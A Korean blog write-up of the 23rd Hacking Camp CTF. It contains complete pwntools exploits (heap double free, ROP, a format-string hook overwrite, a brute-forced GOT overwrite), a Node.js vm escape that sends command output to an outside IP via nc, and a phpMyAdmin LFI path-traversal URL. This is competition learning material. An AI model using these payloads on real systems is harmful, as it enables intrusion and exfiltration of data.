Sechack

제 23회 해킹캠프 CTF write up 본문

CTF

제 23회 해킹캠프 CTF write up

Sechack 2021. 8. 15. 16:17
반응형

 

이번에 해캠 처음 참가해봤는데 팀이 잘걸려서 1등한것같다. 작년 해캠 웹문제 보니까 생각보다 쉽길래 이번에도 비슷하게 나오겠지 하고 편한마음으로 임했는데 웹이 너무 게싱이었다... 그래서 솔버가 아무도 없어서 주최측에서 웹문제는 문제마다 힌트를 두세개씩 풀었는데 그때서야 할만했다. write up은 내가 풀었던 문제들과 팀원분이 풀었던 문제중에 조금 인상깊었던것들을 올리겠다.

 

 

 

Pwnable

 

Welcome

 

 

힙 문제이다. 메뉴가 있다. info에서는 target전역변수의 주소를 주는데 pie가 안걸려있으므로 그냥 IDA에서 보면 된다.

 

 

 

Malloc함수는 그냥 0x20만큼 힙 할당해주고 거기다가 데이터 입력할 수 있다.

 

 

 

Free함수는 선택한 인덱스에 있는 청크를 해제하는데 초기화를 하지 않아서 DFB가 터진다. 여기서 glibc파일을 주지 않기 때문에 glibc버전을 알 수 없는데 간단한 꿀팁이 있다. free(0); free(0); 이런식으로 해제했을때 정상적으로 해제되면 ubuntu 18.04일 확률이 높고 같은 청크를 연달아 해제하면 안되지만 free(0); free(1); free(0)이 된다면 ubuntu 16.04일 확률이 높고 둘다 안된다면 ubuntu 20.04이상의 버전일 확률이 높다. 나는 위와같은 테스트를 통해서 ubuntu 16.04에서 fastbin dfb가 터지는 환경이라고 결론지었다.

 

 

 

key함수에서는 target전역변수의 값을 검증해서 셸을 띄운다. 그리고 프로그램을 맨처음 실행하면 player전역변수에 값을 입력할 수 있는데 target전역변수 바로 위에 있다. 따라서 player전역변수에 fake chunk header을 구성하고 DFB로 target전역변수에 입력할 수 있게끔 하면 된다. 힙을 입문하는 분들이 재밌게 푸실것같은 문제였다.

 

 

Full exploit

 

from pwn import *

r = remote("ctf-hackingcamp.com", 10002)
#r = process("./welcome")

target = 0x6020B0

def malloc(data):
    r.sendlineafter("> ", "1")
    r.sendafter("> ", data)

def free(idx):
    r.sendlineafter("> ", "2")
    r.sendlineafter("> ", str(idx))

r.sendafter("> ", p64(0)+p64(0x30))

malloc("Sechack")
malloc("Sechack")
free(0)
free(1)
free(0)
malloc(p64(target-0x10))
malloc("Sechack")
malloc("Sechack")
malloc(p64(539035668))

r.sendlineafter("> ", "3")

r.interactive()

 

 

 

Steal diamond

 

 

 

main함수 보면 makemoney라는 함수를 호출한다.

 

 

 

들어가보면 for문에서 뭐 하는데 별 의미는 없어보인다. steal함수로 들어가보면

 

 

 

BOF터진다. 보호기법도 PIE랑 카나리 둘다 없으니까 그냥 rop하면 된다.

 

 

Full exploit

 

 

from pwn import *

#r = process("./steal_diamond")
r = remote("ctf-hackingcamp.com", 10203)
e = ELF("./steal_diamond")

pop_rdi = 0x400893
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]

r.sendlineafter("targets?\n", "1")

payload = b"a"*9
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(e.sym["main"])

r.sendlineafter("still?\n", payload)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - 0x06f6a0
system = libc_base + 0x0453a0
binsh = libc_base + 0x18ce57

r.sendlineafter("targets?\n", "1")

payload2 = b"a"*9
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

r.sendlineafter("still?\n", payload2)

r.interactive()

 

 

Error

 

 

 

보면 warnx함수를 사용한다. 그리고 이 함수는 fsb에 취약한 함수이다. 메뉴중에 1번을 선택하면 페이로드를 입력할 수 있고 2번을 선택하면 warnx로 페이로드를 가져간다.

 

 

 

근데 보호기법이 다걸려있다. 그래서 덮을 수 있는건 hook밖에 없다. printf함수에서는 %100000c 이런식으로 많은 문자들을 넣으면 malloc을 호출해서 이걸 이용해서 malloc_hook덮어서 익스하는 트릭이 있는데 얘도 비슷한 트릭이 있을거라 생각하고 일단 malloc_hook덮어서 시도해봤다. 근데 왜터지는지는 모르겠지만 free+33부분에서 터지길래 얘는 free함수 쓰나보다 하고 free_hook덮었더니 익스 잘된다.

 

 

Full exploit

 

 

from pwn import *

#r = process("./error")
r = remote("ctf-hackingcamp.com", 3281)
e = ELF("./error")
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")

def mkerror(data):
	r.sendlineafter("Select : ", "1")
	r.sendlineafter("error : ", data)

def prnerror():
	r.sendlineafter("Select : ", "2")

mkerror("%23$p")
prnerror()
r.recvuntil("error: ")

leak = int(r.recv(14), 16)
libc_base = leak - 0x021bf7
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x10a41c
print(hex(libc_base))

low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

if low > middle:
    middle = (middle - low) & 0xffff
else:
    middle = middle - low

if (low + middle) > high:
    high = (high - (low + middle)) & 0xffff
else:
    high = high - (low + middle)

pay = ("%{}c".format(low)).encode()
pay += b"%14$hn"
pay += ("%{}c".format(middle)).encode()
pay += b"%15$hn"
pay += ("%{}c".format(high)).encode()
pay += b"%16$hn"
pay += b"%100000c"
pay += b"a"*(8 - (len(pay) % 8))
pay += p64(free_hook)
pay += p64(free_hook + 2)
pay += p64(free_hook + 4)

mkerror(pay)

prnerror()

r.interactive()

 

 

Discommunication

 

 

이거는 내가 다른문제 푸는사이에 다른 팀원분이 취약점 찾고 익스까지 짠 문제이다. 그분 말로는 aaw가 터지고 got를 덮을 수 있는데 libc leak을 하려고 하면 memcpy인자가 이상하게 되서 잘 안되었다고 하셨다. 그래서 read got를 one_gadget으로 덮었는데 libc leak을 안한 상태니까 1/4096 brute force로 해결했다. 인텐풀이는 read got를 printf got로 덮어서 libc leak을 진행한 후에 아무 got를 원가젯이나 system으로 덮어서 셸따는것이다. 대회 끝나고 잠깐 5분정도 바이너리 봤는데 5분정도 분석한 내용을 정리해보겠다.

 

 

IDA로 보면 복잡해보이지만 그냥 간단하게 memcpy에서 aaw가 터진다. 왜냐하면 dest+5를 역참조한 주소에 dest+16의 값을 복사하고 dest+2를 복사 사이즈로 지정하는데 dest지역변수는 malloc으로 힙 메모리를 할당받은 후에 buf, v4, v5, v6변수를 strncpy로 복사하면서 결정이 되고 dest+16도 malloc으로 힙 메모리를 할당한 뒤에 v7변수를 strncpy로 복사하는데 read함수에서 buf지역변수에 0x80만큼 입력받으면서 BOF가 터지면서 v4, v5, v6, v7 지역변수들을 전부 원하는 값으로 덮을 수 있기 때문에 결론적으로는 dest변수를 맘대로 조작할 수 있고 memcpy에서 터지는 aaw로 익스가 가능하다.

 

 

아래는 팀원분이 짜신 익스이다.

 

 

Full exploit

 

 

from pwn import *
context.log_level='critical'
i=0
#p=process("./chall")
pay=b"\x01\x00\x00\x00"#stage 1
pay+=b"\x21\x43\x00\x00"#stage 2
pay+=b"\x08\x00\x00\x00" #memcpy size
pay+=b"\x08\x00\x00\x00"# memcpy size
pay+=b"\x33\x33\x33\x33"
pay+=b"\x33\x26\x32\x5c" #want to write
pay+=b"\x55\x55\x55\x55"
pay+=b"\x66\x66\x66\x66"
pay+=b"\x77\x77\x77\x77"
pay+=b"\x88\x88\x88\x88"
pay+=b"\x2b\x10\x60\x00" # read got addr
while True:
    #p=process("./chall")
    try:
        p=remote("ctf-hackingcamp.com",50505)
        i+=1
        print(i)
        p.send(pay)
        p.recvuntil("Default mode")
        p.sendline("id")

        data=p.recv(100)

        if b"uid" in data:
            p.interactive()
        else:
            p.close()

    except EOFError:
        p.close()
        pass

 

 

 

 

Web

 

 

BABYJS

 

 

이 문제는 힌트가 두개 풀리고 나서 푼 문제이다. 사이트 접속하면 별거 없고 그냥 javascript code injection같은데 처음에는 전혀 감이 안왔었다. 그래서 이것저것 해보다가 다른거 했는데 힌트 2개가 풀리고 나서 감이 왔다. 대충 vm module을 사용한다는 그런 힌트였는데 vm module을 탈출해야했다. nodejs vm module jail 이라고만 검색해도 관련 자료들이 나와서 그것들 보면서 풀었다. RCE를 따도 화면에 실행결과를 출력할 방법을 모르겠어서 그냥 로컬에서 nc서버 열고 nc로 커맨드 실행결과 보내줬다.

 

 

this.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('ls | nc 118.37.149.205 5555').toString()

this.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('cat flag_2s_h@re | nc 118.37.149.205 5555').toString()

 

 

 

성공적으로 플래그를 읽어왔다.

 

 

World Wide Web

 

 

이건 내가 BABYJS를 보는 사이에 팀원분이 푸신 문제이다. 문제 설명에 /tmp/flag 파일에 플래그가 있다고 했다. 이를 통해서 LFI문제임을 짐작할 수 있다. 또한 페이지 소스코드를 보면 img태그에 alt속성으로 phpMyAdmin이라는게 있는걸 보아 phpMyAdmin과 관련된 LFI임을 짐작할 수 있다. 그리고 구글링을 해보니 이와 관련된 CVE가 있었다. URL Query String의 유효성을 검증하는 부분에서 취약점이 발생한다던데 자세한건 아래 사이트를 참고하시기 바랍니다.

 

 

https://steemit.com/kr/@huti/phpmyadmin-local-file-inclusion-cve-2018-12613

 

phpmyadmin Local File Inclusion 취약점(CVE-2018-12613) 재분석 — Steemit

악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다. 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다. URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람

steemit.com

 

 

결론은

 

 

http://ctf-hackingcamp.com:60698/phpMyAdmin/?target=db_sql.php%253f/../../../../../../../../../tmp/flag

 

 

이런식으로 보내면 된다는 것이다. 근데 한가지 문제가 있다. phpMyAdmin의 id, password를 알아야 한다는 것인데 아이디 비번 입력하는 index.php의 소스코드를 보면 입력폼 위에 hidden처리 되어있는 input태그를 볼 수 있고 해당 태그의 value에 id와 password가 있다. 따라서 위에 url로 요청을 보내고 로그인을 하면 플래그를 얻을 수 있다.

 

 

 

 

Misc

 

 

Find Base

 

 

JBBUCTKQPNBECU2FGMZDGMRTGIZTEMZSGMZDGMRTGIZTEMZSGMZDGMRTGJ6Q====

 

 

문제 설명에 이러한 문자열이 있었다. 전부 대문자인게 좀 이상하긴 했지만 뒤에 ==을 보고 base64를 먼저 돌려보았지만 잘 안되었다. 그래서 base32를 돌려봤더니 플래그가 나왔다.

 

 

 

 

 

여기에 쓴 write up말고도 팀원분들이 풀어주신 문제는 굉장히 많다. 내가 푼 문제랑 팀원분들이 푸신 문제중에 기억에 남는거 한두개만 쓴것이다. 팀원분들 덕분에 pwn, misc올클하고 web, rev 총합해서 4문제 남기고 아깝게 올클을 못했다. 대회가 밤 8시부터 아침 8시까지 총 12시간이 진행되었는데 새벽 2시쯤인가? 거의 4등까지 순위가 내려가고 풀만한건 다 풀린 상태라 가망없다고 생각하고 있었는데 갑자기 팀원분들이 각성(?) 하셔서 많이 풀어주신덕분에 새벽 3~4시쯤에 순위가 확 올라가서 1등이 되었다. 그리고 나는 5시쯤에 잤다. 자고 일어났는데 점수 변동은 별로 없었고 1등을 했다. 해킹캠프는 오프라인으로 하면 굉장히 재미있을것 같다. 나중에 오프라인으로도 꼭 해보고싶다.

반응형

'CTF' 카테고리의 다른 글

corCTF 2021 - CShell 풀이  (0) 2021.08.22
SSTF 2021 - SW Expert Academy 풀이  (0) 2021.08.17
redpwnCTF 2021 - simultaneity  (0) 2021.07.11
HSCTF 8 - House of Sice 풀이  (0) 2021.06.20
HSCTF 8 - not-really-math 풀이  (0) 2021.06.19
Comments